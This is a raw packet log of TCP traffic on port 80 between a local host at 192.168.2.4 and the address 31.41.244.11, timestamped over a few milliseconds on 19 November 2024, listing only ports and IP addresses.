Nov 19, 2024 22:07:09.315504074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315541983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315551043 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315579891 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315592051 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315613985 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315618038 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315651894 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315656900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315673113 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315690994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315716028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315727949 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315766096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315785885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315804958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315824986 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315843105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315880060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315882921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315902948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315921068 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315939903 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315958977 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.315975904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.315992117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316025019 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316030025 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316067934 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316106081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316128016 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316143036 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316170931 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316180944 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316195011 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316219091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316235065 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316256046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316282988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316288948 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316308975 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316325903 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316363096 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316400051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316423893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316437006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316468000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316476107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316513062 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316514015 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316539049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316553116 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316576004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316589117 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316612005 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316622019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316643000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316658974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316695929 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316731930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316734076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316770077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316770077 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316803932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316823006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316843987 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316864014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316886902 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316896915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316936016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316942930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.316976070 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.316992044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317015886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317053080 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317079067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317079067 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317090034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317111969 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317131042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317151070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317168951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317202091 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317203045 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317241907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317251921 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317281008 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317301035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317321062 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317358971 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317379951 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317397118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317409039 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317435026 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317457914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317471981 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317481995 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317507029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317542076 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317543983 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317584991 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317622900 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317648888 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317661047 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317688942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317698956 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317730904 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317737103 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317754030 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317775965 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317814112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317842007 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.317847967 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.317877054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318001032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318042994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318067074 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318080902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318090916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318123102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318145990 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318161964 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318176031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318200111 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318219900 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318238974 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318259954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318278074 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318300009 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318311930 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318346977 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318350077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318407059 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318424940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318463087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318490028 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318500042 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318509102 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318537951 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318567038 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318576097 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318583965 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318614006 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318645954 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318648100 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318681955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318717957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318789959 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318793058 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318830013 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318860054 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318871021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318907976 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318932056 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.318944931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.318984032 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319006920 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319021940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319036961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319056034 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319092035 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319158077 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319200993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319238901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319257021 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319294930 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319308043 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319358110 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319364071 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319392920 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319410086 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319410086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319428921 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319433928 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319444895 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319458961 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319489002 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319542885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319591045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319665909 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319699049 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319753885 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319756985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319789886 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319809914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319823027 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319848061 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319863081 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319873095 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.319950104 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.319966078 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320007086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320084095 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320131063 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320136070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320174932 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320215940 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320261002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320265055 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320307970 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320316076 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320333004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320350885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320363045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320383072 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320386887 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320399046 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320409060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320429087 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320436001 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320447922 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320480108 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320507050 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320522070 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320525885 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320544004 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320554972 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320578098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320591927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320626974 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320637941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320653915 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320667982 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320682049 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320686102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320734024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320748091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320753098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320787907 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320820093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320837021 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320854902 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320878029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320887089 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320918083 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320934057 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320951939 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320960045 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.320969105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.320981979 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321003914 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321041107 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321058035 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321073055 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321089029 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321115017 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321402073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321419001 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321449995 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321454048 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321480036 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321482897 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321499109 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321516037 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321531057 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321535110 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321561098 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321568966 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321585894 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321594954 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321630955 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321722984 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321782112 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321815014 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321835041 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321863890 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321881056 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321892023 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321898937 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321913004 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321918011 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321937084 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321973085 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.321981907 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.321999073 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322012901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322042942 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322231054 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322263002 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322283983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322319031 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322321892 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322340012 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322357893 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322374105 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322382927 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322391987 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322403908 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322424889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322441101 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322455883 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322464943 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322510958 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322544098 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322570086 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322591066 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322603941 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322607994 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322634935 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322655916 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322669029 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322685957 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322701931 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322720051 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322734118 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322743893 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322752953 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322786093 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322788000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322818041 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322819948 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322844982 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322853088 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322870016 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322886944 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322911024 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322916985 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322948933 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322969913 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.322981119 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.322995901 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323008060 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323024988 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323054075 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323071003 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323101044 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323117018 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323124886 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323136091 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323153019 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323168993 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323174000 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323198080 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323200941 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323232889 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323234081 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323249102 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323266983 CET	49864	80	192.168.2.4	31.41.244.11
Nov 19, 2024 22:07:09.323293924 CET	80	49864	31.41.244.11	192.168.2.4
Nov 19, 2024 22:07:09.323295116 CET	49864	80	192.168.2.4	31.41.244.11
